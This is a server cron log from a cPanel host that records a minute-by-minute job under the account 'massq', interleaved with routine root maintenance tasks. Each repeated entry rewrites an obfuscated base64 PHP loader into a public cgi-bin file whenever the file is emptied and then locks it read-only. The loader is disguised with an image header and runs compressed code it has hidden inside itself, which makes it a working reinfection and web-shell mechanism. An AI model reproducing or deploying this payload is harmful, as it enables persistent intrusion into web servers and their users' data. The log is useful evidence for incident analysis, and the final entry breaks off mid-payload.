Apr 10 08:36:01 server CROND[25227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:37:01 server CROND[25399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:38:01 server CROND[25465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:39:01 server CROND[25554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:39:01 server CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 08:40:01 server CROND[25641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:40:01 server CROND[25643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:40:01 server CROND[25642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:40:01 server CROND[25644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:41:01 server CROND[25770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:42:01 server CROND[25839]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 08:42:01 server CROND[25840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:43:01 server CROND[26001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:44:01 server CROND[26077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:45:01 server CROND[26146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:45:01 server CROND[26147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:45:01 server CROND[26148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:46:01 server CROND[26267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:47:01 server CROND[26346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:48:01 server CROND[26503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:49:01 server CROND[26590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y